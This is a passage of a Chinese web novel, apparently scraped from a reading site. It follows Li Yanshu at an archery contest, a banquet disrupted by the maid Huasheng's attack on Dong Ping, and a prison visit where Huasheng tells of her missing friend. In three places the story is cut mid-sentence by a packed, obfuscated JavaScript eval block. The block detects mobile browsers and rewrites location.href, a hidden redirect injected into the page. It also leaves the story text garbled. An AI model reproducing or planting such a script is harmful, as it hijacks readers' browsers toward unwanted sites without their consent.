移动?李砚书随之看去,百米开外,最后一个箭靶孤零零地呆在那里,不似别的箭靶千疮百孔的模样,它完好无损地立在哪儿,没有规律地左右移动。 “还没有人射中最后一个吗?”李砚书思量片刻后问。 武霜道:“未曾。” 就连他们当中最善骑射的杨家二公子杨乾,都还没有射中,更遑论他们这些不常握弓的了。 就在这时,离她们几丈远的一个人挥手,兴奋喊道:“仲安!” 李砚书闻声看去,耳边传来武霜的声音。 “那是杨家二公子,杨乾。他两个月前去晋州看望杨老太太了,应是昨日才回来。” 杨乾剑眉星目,十七而已,身量却已远超同龄人许多。他与原先挥手那人勾肩搭背,瞬间就将那人压了个个头,混笑道:“两个月不见,你怎么一点都没长啊。” 刘材的笑脸瞬间没了,他挣开杨乾的手,气道:“是两个月,不是两年!” 杨乾哈哈大笑,视线一偏,看见武霜等人,这才回了些正形,拱手道:“无双公主。” 武霜颔首。 他又看向白鹤行,点头示礼。 白鹤行回礼。 剩下李砚书,他道:“这位是?” 李砚书道:“渭阳李晗。” 杨乾颔首,语气稍微淡了些,道:“广明县主。” 杨家与李家说起来也是上一辈的恩怨。当年杨家二郎,也就是杨乾的二伯杨志,从小便在楚家的学堂求学。而楚惟与楚婞这对姐妹当时已是名震元安的世家才女,多少人慕名求娶,统统被楚常卿拒之门外。武圣元年,杨志自知身无寸功,配不上楚惟,便弃文从戎,金戈铁甲沙场建功去了。 武圣三年,李阿鼎初出茅庐便创下连破数城的战绩,武圣帝大喜,破格提拔他为上骑将军。同年杨志升翊麾校尉。 武圣四年冬,李阿鼎在汾水之战中身负数箭,命在垂危,幸而最后得救,武圣帝亲口下令遣人送他回元安养伤。也是在他养伤的几月里,他见到了陪楚常卿前来探病的楚惟。相传两人是一见钟情,李阿鼎直接上门求娶,被楚常卿打出去好几次,可李阿鼎坚持不懈,日日上门,最终打动楚常卿,成全了这段佳话。只是当时战乱未平,两人定下亲后李阿鼎便又上了战场。 武圣六年春,武朝大军攻下扬州,自此武王朝江山初定。同年十月,李阿鼎随王军凯旋,在金銮殿上求武圣帝赐婚。武圣帝当即御笔,写下“天作之合”四字赐下。杨志得知此事,当街就与李阿鼎打了一架。据说那一架战况惨烈,两人脸上均受了伤。第二日在朝上时被言官狠狠参了一本,武圣帝问其缘由,两人支支吾吾就是不肯说,武圣帝大怒,两人又挨了一顿板子。这件事没过多久,杨志就自请戍守姚州。此事当时闹得沸沸扬扬,李家与杨家不合的消息就是在这时传下的。以至于今时今日,除去李家和杨家部分人,谁也不知道李杨两家不合的真正原因。 李砚书知道内情,却也明白若是因为这件事,两家还不至于到往后几十年都断了来往的程度。主要原因还是在“帝心”,那时李家因为李阿鼎声名鹊起,再加上楚婞被昭仁皇后指给三皇子做正妃,李家就算是三皇子一脉的了。而杨家一直都是默属于太子一脉,当时太子人选未定,因此两家心照不宣,借由此事正好断了武圣帝的疑心。 杨乾不知内情,只知道是因为李阿鼎,他二伯才去驻守姚州数十年不得归家,因此即便知道此事与李砚书没有干系,心里还是不忿。 他来到案前,拾弓搭箭。 李砚书看着杨乾的肩臂,微微偏过头,视线随即落在搭箭的拇指上。 杨乾这时像极了一只垂涎猎物良久,只等致命一击的猛虎。霎时无数道视线移过来,射场逐渐静了下来,都在等着他这一箭。 百米开外的箭靶没有规律的左右移动,为挑战者增加了难度。 时间一点一滴流逝,场上也渐渐传出一些声音。 “你说这二公子能射中吗?” “我看难。他上次不是试了一次么,别说红心了,就连箭靶都没有挨着。” “我觉得这次有戏。” “我赌他能中!” “我赌不能,十两银子,赌不赌?” “……赌!” 李砚书汗颜,只能说高手从不抱怨环境吧,这种情况都能开赌局。 反观白鹤行与武霜,她们倒是一脸平静,怕是已经对这种情况见怪不怪了。毕竟学林院的学生平日里也不能出宫,只能自娱自乐。 场上静得连一丝风都没有。 不少人开始焦躁,嚷嚷着怎么还不射。 李砚书紧盯着移动的箭靶,知道杨乾是在等,等猎物懵懂又无知地朝自己撞过来。她又看向杨乾,觉得这个人方才搭箭时莫名有些熟悉的感觉。就这么一晃神的功夫,那只一直搭在拇指上的箭矢猝不及防射出—— 迎来满堂喝彩。 “中了!” “中了!” 刘材大喊着,激动得一把抱住杨乾。他大概是想把人抱起来,奈何身高体力跟不上,没抱起来。杨乾拍拍他的肩,笑道:“明日我请客,抚仙楼,诸位都来啊。” 众人纷纷叫好,只有那位输了十两银子的人欲哭无泪。 宋承这时过来,视线从箭靶上移到杨乾身上,肯定道:“嗯,后生可畏啊。我在二公子这个年纪,都不一定能射中。” 杨乾对宋承也客气,拱手道:“谢宋都尉。” 宋承点头,道:“去登记吧。” “是。” 等杨乾走开,宋承朝李砚书走来,拱手道:“公主,县主。” 武霜微微颔首。 李砚书道:“宋都尉。” 宋承道:“县主,郡王已经平安抵达汉州,特遣卑职来跟县主报个平安。” 李砚书松了口气,道:“多谢宋都尉相告。” 宋承一走,李砚书便对武霜道:“明日抚仙楼你去么?” 武霜有些诧异,道:“你要去?” 李砚书点头。 武霜顿了顿,道:“不去。” 李砚书应声,又转问白鹤行,“你去么?” 白鹤行淡淡道:“在下明日需替元先生整理旧书,不能随县主前往。” 李砚书随手拾起一只箭,搭上弓,用余光眺了一眼白鹤行,道:“不去就不去,这般客气作甚。” 话音未落,箭矢就脱手而出,“唰”地一声钉在箭靶上。 武霜顺声看去,下一刻眼中却充满了不可置信,她道:“……中,中了?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李砚书带着她们往自家马车走,又对骨衣道:“骨衣,稍后去问问抚仙楼在哪儿,小姐明日带你们吃酒去。” 骨衣应道:“是。” 素影道:“小姐真好。对了,小姐,这是我今早特地给你做的包子,你先吃着垫垫肚子。” “还有包子呢。” 李砚书掀开食盒,拿出一个咬了一口,夸道:“素影这手艺去开个包子铺都绰绰有余了。” 素影微微羞涩,道:“我才不想开包子铺呢,我只想给小姐做包子,小姐吃的高兴素影就开心。” “小姐当心。” 骨衣扶上李砚书的手臂,将人扶上马车,又扶素影上去,最后才自己坐上去,驱车离开。 夜里,李砚书身着薄衣站在院中。 这是她第三次因内息紊乱从梦中醒来,且一次比一次难以控制。 她开始在月下练功,一招一式皆烂熟于心,可体内的那团气却始终平复不下来。元安的夜寂静无比,李砚书在这里挥出的每一拳都会有回音,连带着震颤起她的心跳,这时的她像是被这黑夜蒙住双眼的鹰,只会盲目地挥动着翅膀,四下乱窜不得章法,这样下去的后果只有一个——头破血流。 汗滴沿着颈项流淌,润湿了襟口,李砚书突然想起渭阳那夜,挥出的掌心兀地调转方向袭向自己,嘭—— 一口鲜血喷出,李砚书踉跄倒退了几步,仓促间扶住了身后的石凳,顺势坐下,开始运功调息。 不知过了多久,李砚书缓缓睁眼,总算是呼出了一口寒气。 23. 花笙 翌日,抚仙楼。 李砚书到时人都到得差不多了,众人见到她,皆先行礼道:“广明县主。” 没办法,别看他们平日里被人称作公子小姐的,那是托的他们老爹的官职,破开这层关系不谈,没有入仕的他们,在李砚书这个有封号的县主面前只能算白衣之身。 李砚书回礼,和善地道:“大家皆是同砚,举杯共饮罢了。” 杨乾让出上座,道:“县主赏光,自当上座。” “今日既是杨二公子做东,我又怎好喧宾夺主。”李砚书慢步走着,挑了个左下位,坐下时还与对面刘材笑着点了下头。 刘材略显无措地朝李砚书拱手,下一秒就被杨乾按着肩膀坐下。 在座的人大都与杨乾交好,自然也知道李家与杨家的关系,一时间气氛变得古怪起来,不少人交换眼色,试图弄清这位不请自来的县主有何目的。 杨乾坐下,招呼伙计进来,“上菜。” 伙计弯着腰进来,又弯着腰退出去。包厢正对楼梯口,此时门敞着,隐约能听见外面行人路过时传来的一两声谈话声。 不一会儿,菜就上齐了,杨乾举杯道:“诸位,今日广明县主大驾光临,我们合该先敬她一杯。” 刘材自从李砚书进来后手心的汗就没停过,这会听杨乾还要敬李砚书酒,更是吓得直接看向杨乾,不停对他使眼色。 疯了? 杨乾无视刘材,对李砚书道:“县主。” 剩下的人也蒙了片刻,他们看向杨乾与李砚书,仿佛捏在手里的不是酒杯,而是一个烫手山芋。 李砚书起身,捏起酒杯,和煦地道:“请。” 随后一饮而尽。 这酒倒是比李砚书想象中要绵。 杨乾大笑,随即也一饮而尽。用手背擦了下嘴角,他道:“县主雅量。” 李砚书但笑不语。 两人相继坐下,席上这才恢复正常。 刘材随手在袍子上擦了几下,下意识要跟在杨乾身后敬酒,手都握上酒杯了,耳边响起杨乾的轻咳。他瞬间清醒过来,背后起了一阵冷汗,忙放开酒杯。 今日情形,杨乾可以向李砚书敬酒是因为杨家有杨国公在,而刘家只是一个从六品著作郎,空有官职却无权无势,他今日敬李砚书酒,明日他爹的乌纱帽就要搬家。 刘材脑子反应过来,抬手抹了一把额上的虚汗,旋即起身为李砚书介绍起菜式。 他们平日里吃的偏辛辣,一眼望去几乎都是红彤彤一片,可今日的菜却有好几道淡口的混在其中。刘材朝门口看去,杨乾的贴身小厮吉英候在门口,与楼里伙计低语着。 刘材在心里默默佩服,不愧是杨家,就连小厮都这般厉害。 杨乾缓缓斟着酒,听刘材绘声绘色地给李砚书介绍。 “这道菜可是抚仙楼最出名的,叫‘冷修羊’。”刘材道,“前一天厨子会将羊肉加以各种名贵香料烹煮,煮熟后须得趁热时去骨,将羊肉用石磨压平,这样压一整晚,等到吃时再由主刀师傅将其切至薄片,最后……” 话音至处,被一道凄厉的救命声打断。 “救命啊!” 所有人脸色一变,皆朝门口看去。 杨乾沉下脸,喊人:“吉英!” 吉英匆忙推门进来,低头道:“主子,是董家公子。” 董平慌不择路,跑到楼中间时脚一滑从楼梯上滚了下来,血糊了一脸,嘴里还不停地在喊救命。 小厮满脸焦急地从楼上下来,手忙脚乱地扶起董平,慌张道:“主子!这怎么出这么血!快叫郎中!” 掌柜的闻声从柜台赶来,认出了董平,哎呦一声,急忙叫伙计去请郎中。 李砚书一干人出来,见到董平满脸的血,大吃一惊。 杨乾上前道:“光天化日之下,竟敢公然行凶,可知是何人所为。” 董家小厮认出杨乾,连忙拱手道:“回公子,是抚仙楼的丫鬟,花笙。” 话落,董家小厮便压着双手染血的花笙从楼上下来。 董平从血眼蒙蒙中认出杨乾,仿佛看到了救命稻草,他一把推开面前关切的小厮,冲到杨乾面前,抓住他的手,急促道:“仲安!仲安……你得救我,有人要杀我!” 杨乾忍着没有抽回黏腻的手,道:“她为何要杀你?” 董平愣了一下,恶道:“自然是谋财害命。” 花笙被堵着嘴,闻言挣扎地愈加厉害,呜呜地发出声音。 杨乾欲再问,董平突然捂着头上受伤的地方大叫起来,众人的视线又被吸引过去。这时郎中背着行医箱被拉进来,还没喘口气,就被董家小厮催着给自家公子治伤。 李砚书看向花笙,稍作思量,道:“捂着这位姑娘的嘴作甚,既是行凶,也该让她说清楚,这样白纸黑字,才能给董公子一个交待啊。” 岂料董平不肯。郎中在给他清理伤口,他疼得龇牙咧嘴,即便这样,他还是坚持道:“不可!这个女人已经疯了,疯子的话如何能信。” 杨乾皱眉,刚要开口就被董平打断。 “四平,将人送去县衙。” “是。” 那个叫四平的小厮作势就要去抓花笙。 李砚书再次出声,道:“且慢。” 四平没有停下,径直朝花笙走去,就在手要碰着花笙衣角时,被人一脚踹开。 “啊!”四平惨叫一声,被踹倒在地。 所有人惊魂未定地看着这突如其来的一脚。 只见踹人的那名女子面无表情地道:“我家小姐说了,且慢。” 董平倏地站起来,大怒道:“岂有此理,你竟敢打本公子的人!来人啊,将这个胆大包天的人一同抓了压到县衙去!” 原本围在董平身边的小厮得令就要上前抓人,杨乾拦住他们,道:“董兄莫非是伤糊涂了,这位是广明县主,董兄可认清了。” 董平瞪大了眼睛,不过顷刻间,立刻换了另一幅面孔,扯着嘴笑道:“原是广明县主,在下方才伤着了头,一时神志不清得罪了县主,还请县主大人恕罪。” 这话将姿态放得极低,给了李砚书一个极大的台阶,也可以说是给了李家一个极大的台阶。 “董公子客气了。本也是误会,说开了就行。”李砚书笑盈盈地道。 董平十分僵硬地笑了两声,道:“自然。” 郎中战战兢兢地给他处理着伤口,生怕这些公子哥迁怒到自己身上。 杨乾凝眉看着李砚书,不明白她此举何意。她今日赴宴,明显是要与杨家交好。此事她原可以作壁上观,顺势卖董家一个人情,可她却还是出了头。董家在元安其实不比杨家低多少,京兆府尹品阶上虽没有杨国公高,却也是实打实的“官山海”。而李家常年征战,相比于杨家的兵权,盐铁这块才是行军的重中之重,两利相权,实则董家更胜一筹。 骨衣拿出布团,花笙紧接着咳了起来,那双漂亮的眼睛里布满了红血丝。 李砚书走上前,道:“姑娘何故伤人?” “伤人?”花笙大笑起来,形容癫狂地道,“我是要杀了他!就差一点,差一点我就可以杀了他……” 李砚书皱眉。董平激动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521319|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你们看,我就说这个女人是疯子。县主还是快快将她送到县衙,仔细她疯起来再伤着你可就不好了。” 花笙早已泪流满面,呜咽着怒吼:“董平,你不得好死!那些死在你手里的人终有一天会回来找你索命的!你不得好死!” “堵上!”董平气急败坏道,“把这个疯子的嘴给我堵上!” 有骨衣在,董家小厮一时踌躇着不敢向前。 董平之前给李家面子,客客气气叫人县主,谁曾想这个广明县主未免太得寸进尺。再想到花笙方才说的话,董平索性也不装了,直接道:“县主三番两次护在这个疯子面前,是什么意思?” 李砚书招回骨衣,平和地道:“董公子哪里的话,我不过是多问了一句。” 董平来到李砚书面前,道:“县主初来元安,可能不知道,有些事最好问都别问,以免……引火烧身。” 最后那句说得轻,现在好些人没有听清,但是杨乾听清了,微微蹙眉。 “让开!让开!” 衙役先到,袁礼钊紧随其后进来,道:“何人在此闹事啊。” 李砚书心道,这么快? 董平来到袁礼钊面前,道:“袁县令,您来的正好,此女在酒中下药,意图谋财害命。要不是我机灵,此刻只怕是早已命丧黄泉。” 袁礼钊看着董平满脸的血,再看看被捆住的花笙,心里有了底,抬手道:“拿下。” “是。” 衙役直奔花笙而去。 李砚书岂料这个袁县令竟然问都不问就直接拿人,当即要开口,却被杨乾拦下。 杨乾对李砚书摇了摇头。 袁礼钊抓了人就离开了,董平露出一抹胸有成竹的笑,随即也提步离开。 看热闹的人随即也散开,只剩下刘材还站在原地,担心地道:“我看那个姑娘不像是个疯子。” 杨乾看了他几眼,道:“你先回去吧,我送县主一程。” 街上,李砚书先道:“你方才拦我作甚?” 杨乾道:“不拦着你,你真想与董家撕破脸不曾。” 李砚书咂摸出他话里的意思,道:“如若那姑娘真的另有隐情呢。” 杨乾道:“早就听闻广明县主侠女心肠,经常替人打抱不平,今日看来,所传非虚啊。” 李砚书看他一眼,道:“杨二公子想说什么。” “不管那姑娘是否另有隐情,她在大庭广众之下刺杀董平,董家就不会放过她。”杨乾道,“而袁礼钊是二皇子的人,董家素来与二皇子交好,两人沆瀣一气也不是一两日的事了。为着两月前溱溪郡之事,你们与三皇子早已是摆在明面上的事,如今再为着一个不相干的人得罪二皇子,划算吗?” 否则今日袁礼钊堂堂一个县令又怎会亲自到场抓人。 这番话可谓是推心置腹,可李砚书自认还未与杨乾有说这番话的交情。 “这么说起来,我还得多谢你。”李砚书道。 “县主客气。”杨乾道,“杨乾一介白衣,岂敢呢。” “杨二公子也客气。”李砚书笑了笑,“凭杨家今日之势,二公子红袍加身也只是迟早的事罢了。” 杨乾停下脚步,面色不虞道:“没想到县主不仅酒量好,就连嘴上功夫也了得。” 李砚书也停下,语气不变地道:“比不上杨二公子。” 说完,继续往前走。 素影与骨衣追上来,李砚书道:“骨衣,去县衙。” “是。” 到了县衙门口,李砚书在车上思量了会儿,道:“直接去南监。” 24. 狱卒 与前朝犯人同关一处不同,武明帝登基后,将牢房分了北牢房和南牢房,又称南监北监。北牢房是关押男犯人的地方,南牢房则是关押女犯人的地方。 马车到了南监,李砚书对素影道:“把银子都给我。” 素影从袖中掏出一个粉色钱袋子,里面有十几两的碎银子。 “小姐,这些够吗?” 李砚书道:“够了。你们在车上等我回来。” 骨衣不放心道:“小姐,要不我去吧。” 李砚书没有答应,道:“放心吧,我去去就回。” 掀帘下车,李砚书来到南监门口,站在门口的两个狱卒拦住她。 “站住,知道这是哪吗?” 李砚书不动声色打量面前的两个狱卒,笑道:“知道知道,二位大人辛苦了,这点心意二位拿去吃茶。” 狱卒咳了一声,了然道:“别聊太久,我们再有一刻钟散值,麻利点。” 李砚书连连点头,“多谢多谢,草民清楚的。” 一进到里面,一股霉臭味扑面而来,熏得李砚书直皱眉。花笙受了十道鞭刑,此时正蜷成一团缩在牢房角落里,铁锁碰撞的声音让她下意识瑟缩了下,旋即咬着唇紧紧抱住自己。 将人带到,狱卒就转身离开了,多待一秒都觉得晦气。 李砚书来到她面前蹲下,道:“你为何要杀董平?” 花笙听到董平二字,倏地抬起头,眼神几变。 李砚书重复了一遍,道:“你为何要杀他?” 这次花笙终于开口了,声音沙哑道:“因为他该死!” 李砚书也不跟她绕弯子,直接道:“他杀了谁?” 花笙借着外面微微摇曳的烛光,认真看了李砚书一眼,道:“你是谁?” 李砚书道:“我是谁不重要,重要的是你如果想要为人报仇,现在只能选择相信我,也只有我能救你。” 花笙闻言又低下头,手指按在伤口处也浑然不觉。 李砚书见状阻止道:“快把手松开!” 说着,她碰上花笙的手,刚一碰到,就被花笙猛地挥开。 “别碰我!” 李砚书手背红了一块,也不恼,收回手等她冷静下来。 花笙这时才感觉到伤口处传出的疼痛,反应过来自己错怪了面前这个女子。 小小的牢房里安静了一会儿,才听见花笙强装镇定地道:“你,你为何要救我?我什么都没有,还不了你的。” 李砚书道:“因为我们都是女子,本就该互相扶持。我不用你还,我只想你能告诉我前因后果,告诉我,我要怎样才能帮到你。” 一滴泪瞬间从眼眶落下,花笙咬着唇,忍不住低声啜泣起来。 李砚书没想把人惹哭,手忙脚乱地想安慰她,却因为她身上的伤不敢上手,遂又找起手帕,左右两个袖口都掏了个遍,除了素影的那个粉色钱袋子,再无他物。 花笙被她那副焦头烂额,找了半晌只掏出个钱袋子的样子逗笑了,一张姣好的脸上血泪交错,又滑稽又狼狈。 李砚书见人不哭了,尴尬地晃了晃手里的钱袋子。 花笙缓缓道:“三年前二月,好友余见夏来元安寻亲,她说,若是找到了亲戚,就写封信给我,若是没有找到,也写封信给我,让我算好时间去村口等她。可是三个月过去了,我都没有收到她的信。五月初,我决定去元安寻她。我一路问了好多人,都说没有见她。见夏是我们村模样最好的姑娘,因为右眼下的一颗泪痣,只要是见过的人应该都会有印象才对。我又去了她说的亲戚家,其实哪是什么亲戚,只是她娘当初给人当丫鬟的府邸罢了。我问了那户人家的管家,他说从未见过见夏。我在元安呆了一个月,身上的盘缠所剩无几。就在我走投无路时,路边的一个小乞丐跟我说,他在两个月前见过见夏。那时她被那个管家赶出来,还跌了一跤。蹲在路上哭了好久,因为长得好看,所以他有印象。” 李砚书蹲在地上,手里捏着与这个地方格格不入的粉色钱袋子沉思不语。 花笙顿了顿,道:“我是孤儿,若不是见夏的娘将我捡了回去,我只怕是早就死了,所以我一定要找到见夏。” 李砚书看着她,道:“之后呢?” “之后我就继续找,盘缠没了我就去酒楼做工,就这样过了两个月,终于有一天我打听到,见夏那天被赶出去后就被一个人带走了。”花笙指甲深陷到手心里。 李砚书凝眉道:“是董平?可你怎么确定是他?” “他亲口所说!”花笙太过激动,牵扯到伤处,整个人抖了一下,“他经常来抚仙楼喝酒,他喝醉了亲口所说!更有一次我偶然听见他的小厮说,说……咳咳咳……” 李砚书隐约猜到了什么,轻声道:“然后呢?” “他们都是畜生!”花笙赤红着眼,恨不能啖其肉饮其血,“他们都该死!都该死!” 李砚书不忍在问下去,道:“见夏如今还在董府吗?” 若是人还董府,她就是抢也会帮人抢回来。只是李砚书也清楚,如今那位见夏姑娘极有可能已经凶多吉少。 “不在。”花笙摇了摇头,眼睛黯淡下去,“生不见人,死不见尸。我去过董府送餐,从一个丫鬟口中得知,她见过见夏,大概有一个月,董平将她关在一处院子里,派人严加看管。正当我满心欣喜终于找到人时,那个丫鬟却对我说,人已经不见了。她说之前也有好几个模样好的姑娘进来,短则一月长则半年,之后就会突然消失不见。” 李砚书道:“凭空消失?” 花笙道:“那个丫鬟说她也曾好奇,在府里所有能藏人的地方都找了一遍,但都没有发现任何痕迹。我想那个姓董的畜生会不会又将人卖到那些个腌臜地方去了,可我把元安所有的花楼找遍也没有找到见夏。姑娘,你信我!见夏一定还在董府,她如果出来了,一定会来找我的,你信我!” 花笙拉住李砚书的手,恳求道:“求你救救她,求你救救她……” 她说着,就对着李砚书跪下,额头在冰冷的地上不停地磕,嘴里一直说着救救她。 李砚书忙阻止她,“我信你,我一定救她,你听见了吗,我救她!” 待人冷静一点,李砚书看着她的眼睛,哑声道:“你听我说,我救她,可是你也要做好准备,她……” 花笙泪流满面,哀求道:“我知道的,我……我只想带她回家,回家。” 李砚书抱住她,道:“你放心,不论怎样,我一定帮你寻到她。一定。” 董府。 “跪下!”董酺厉声道。 董平熟练地跪下,一脸不耐。 董酺见他那副丝毫不知悔改的样子,气得七窍生烟。 “给我拿家法来!家法!” 一听要上家法,董平瞬间不淡定了,忙道:“爹!今日之事明明是那个贱人的错!你看看我的头,现在还疼着呢!” “你头疼!”董酺捂着心口,“你老子我才头疼!” “家法呢!”董酺怒声道:“我今天非得打死你个逆子,省得哪天被你连累,全家都丢了性命的好!” 管家在外面急得跳脚,又问一遍身边的小厮,“二公子还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521320|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没回来吗?” 小厮忙道:“小的已经派人去请了。” 管家抹了一把额上的汗,道:“菩萨保佑,二公子快快回来吧,不然这次大公子真要被老爷打死了。” 里边董平顶嘴道:“连累?我不过是关了个人进去,哪有那么严重。” 董酺见他还没有意识到自己做错了什么,心口一哽,差点一口气没上来,霎时暴跳如雷,“人呢!都死外边了!” 话落,一个小厮两股战战地捧着“家法”进来。 董平恶狠狠地瞪向那个小厮,仿佛在说你死定了。 董酺拿起家法就往董平身上抽去,董平立时嚎起来,扭着身子要躲开,董酺见他还敢躲,下手更用力了。 里边狼哭鬼嚎,外边管家也不停在抹汗。直到视线里出现一抹玄色身影,他才如释重负地松了口气,疾步上前道:“哎呦,二公子你可算是回来了,老爷在里边发好大的火呢。” 董原道:“可知是因为何事?” “大公子在抚仙楼吃酒,丫鬟伺候不当,叫大公子不慎从楼梯上摔下,头上流了好多血。”管家道,“碰巧杨家二公子与,与广明县主也在。” 董原神色凝重了几分,道:“杨乾与广明县主?” 管家道:“听说是庆贺杨家二公子礼射一事。” 董原平声道:“我知道了。” 他提袍上阶,推开门,看向一旁的小厮。小厮会意,立刻带门出去。 “二弟!”董平见着董原就像见到了救星,二话不说赶紧躲到二弟身后去躲着。 董酺见到董原,也冷静了下来,将“家法”重重拍在桌上。 “爹。”董原行礼道,“何事如此生气?” “你问问他今日对广明县主说了什么!”说起这个董酺气又上来了,“你是吃了雄心还是吃了豹胆,敢警告人家引火烧身!我怎么没一把火烧死你呢我!” “哎!爹,我那都算是客气的。她一个姑娘家跟一群爷们出来吃酒就算了,还三番两次阻挠我抓人。”董平火上浇油道,“换别人我早动手了。” “大哥!”董原转身看着他,难得动怒。 董平被他那双黑漆漆的眸子看得发渗,不自觉后退了一步。 “动手!”董酺道,“你真当李家在元安无人?我告诉你,光是玄铁三营中的随便一营就能踩死你!禁军里有五成都是曾经跟随李阿鼎出生入死的部下,你动手,你今日若是真的动了手,明日你爹我就能去街上给你收尸!” 董酺气得狠了,不想再看见他,将管家叫进来,道:“把这逆子给我关到柴房去,没有我的命令谁都不准放他出来!” “爹!我还伤着呢,爹!” 几个小厮合力将董平带下去,董酺如泄了力一般坐到椅子上,不停揉着眉头。见董原还站着,便挥手叫他坐下。 董酺叹了口气,道:“同是兄弟,他还是兄长,怎地竟不敌你半分!唉!今日之事,怕是没那么容易解决,我听说几日前皇后娘娘还留她用了膳,今日她去杨家席,只怕也是皇后默许。” 董原没接这话,抿了口茶,只道:“七日后就是您五十祝寿。” “说起这个……”董酺反应过来,咂摸道,“还是你有主意。只要广明县主到场,一切就游刃而解了。” 门外,小厮将后院的钥匙交给管家,小声道:“徐管家,这次老爷会关大公子多久啊?” 管家眼一瞪,道:“这是你该打听的事吗?” 这时,门内传出董酺爽朗的笑声,管家指了指门内,对小厮道:“瞧见没,还得是二公子。” 25. 开门 李砚书从南监出来,一进马车素影就赶紧掏出帕子替她擦手,在见到手背上那一块红时,心疼地道:“这里怎么红了?” “不小心挨着了,没事啊。”李砚书又对骨衣道,“骨衣,今夜就找人去打点,莫叫人害了她。” 骨衣驱马前行,闻言道:“是。” 李砚书掀帘又往狱卒那看了一眼。 素影道:“小姐,那位花笙姑娘真有冤情吗?” 李砚书点头,放下车帘,道:“有冤情的可能不止一位。” “啊!”素影惊讶地道:“不止一位,凶手是今日从楼上滚下来那人吗?” “我现在还不能确定。”李砚书道,“素影,我还没有证据,光凭花笙一人之言,还定不了案。” 最重要的还是证据,董平之所以敢在光天化日之下强抢民女,无非是仗着有个京兆府尹的爹在背后给他撑腰。元安不比渭阳,这里的宦海人情她一概不知,贸然将人告上,最后只怕会无功而返。 少顷后,李砚书沉下心,道:“这几日要辛苦你跟骨衣了。” 董府。 董原出了门,管家凑上来。 “抚仙楼那个丫鬟现在何处?” 管家道:“回二公子,人现关在南监。” 董原沉默地看着他。 管家如芒刺背,赶忙道:“老奴这就派人去做打点。” 董原勾唇一笑,温声道:“徐管家辛苦。” 旬假只有一日,因此许多事情李砚书只能交给骨衣与素影去做。 翌日一早,李砚书就去了学林院,推开门,白鹤行与前几次一样,正在伏案温书。 李砚书从食盒里拿出素影做的包子递过去,正欲开口,白鹤行就伸手接了过去。 “多谢县主。” 李砚书诧异她这次的爽快,道:“还以为你不会吃呢。” 白鹤行道:“县主美意,在下岂敢推诿。” 这才是白鹤行吗。 李砚书放下包袱,倒了杯茶,在她对面坐下,两根手指将其推过去。 白鹤行抬眸看她一眼,无声端起喝了。 李砚书闷声笑了,眼底却没笑意,道:“不怕我在里面下药啊。” 白鹤行眼都没抬,继续小口吃着包子。 “没想到你看着不声不响,消息倒是传得快。”李砚书似是自言自语,“阿行,我忽然明白为什么元先生要给你取字子行了。与子偕行,风雨同舟。你入学九年,虚席以待,便是为了今日吧。” 白鹤行抬眸,与李砚书对视片刻,道:“你是怎么发现的?” “比起我是怎么发现的。”李砚书起身给自己倒了杯茶,“我更好奇,你们是如何买通狱卒的。” 白鹤行放下包子,可惜道:“原是如此。” 李砚书润了下喉,勾唇道:“吃完,别浪费。” 白鹤行又拾起包子,咬了一口,道:“你,师从何人?” 李砚书道:“那得见到元先生我才能说的。” 白鹤行慢条斯理地吃着包子,一只手将茶杯推出两寸。 李砚书勾着茶壶给她添上,道:“慢点吃,不着急。” “你很聪明。”白鹤行道。 李砚书毫不谦虚,道:“我知道,许多人都这么说。” “但又不那么聪明。”白鹤行道。 李砚书诚实地点头,道:“毕竟没有人能十全十美。” 元鸿今在学林院东面最里边的一处院中,院门两侧种了许多竹子,翠竹高耸挺拔,将中间的石子小路都衬得风雅起来。 曲径通幽,李砚书品出些味道。 “这些竹子是当年昭仁皇后命人所植。”白鹤行道,“你知道上任学林院掌事是谁吗?” 这个李砚书还真不知道。 白鹤行道:“元翕。” 姓元? 李砚书道:“跟元先生是?” 白鹤行轻笑了声,道:“毫无关系。” 李砚书道:“他们不都姓元吗?” 还以为会是父母兄弟带血亲的那种。 白鹤行道:“难道姓李的都与你有血亲吗?天下之大,毫无关系却长相相似之人都有,何况只是一个姓。” 李砚书笑道:“万事别说这么绝对,说不定咱两几百年前还是本家呢。” “县主说笑了。”白鹤行道,“三十年前,元家入仕者数不胜数。先帝在位十年,骩任其三州大都督,处尊居显,无人可比。” 李砚书若有所思,元家原来那般显赫么? 白鹤行道:“那年新科及第者能人众多,元翕在其中才华并不出挑,可他依然做了翰林院编修与学林院掌事,你知道是因为什么吗?” 李砚书脸上一贯挂着笑,此时却沉下了脸。 她当然知道,她比任何人都清楚是因为什么——她如今与元翕本质上没有分别。 白鹤行继续道:“新官上任三把火,新帝登基的第一把火就烧了元家。一夜之间,元家高台跌梦,成了一捧灰烬,也成了人人都能踩上一脚的蝼蚁。旧的世家倒下,新的世家补上,就如雨后新笋,繁荣之下满布旧创。” 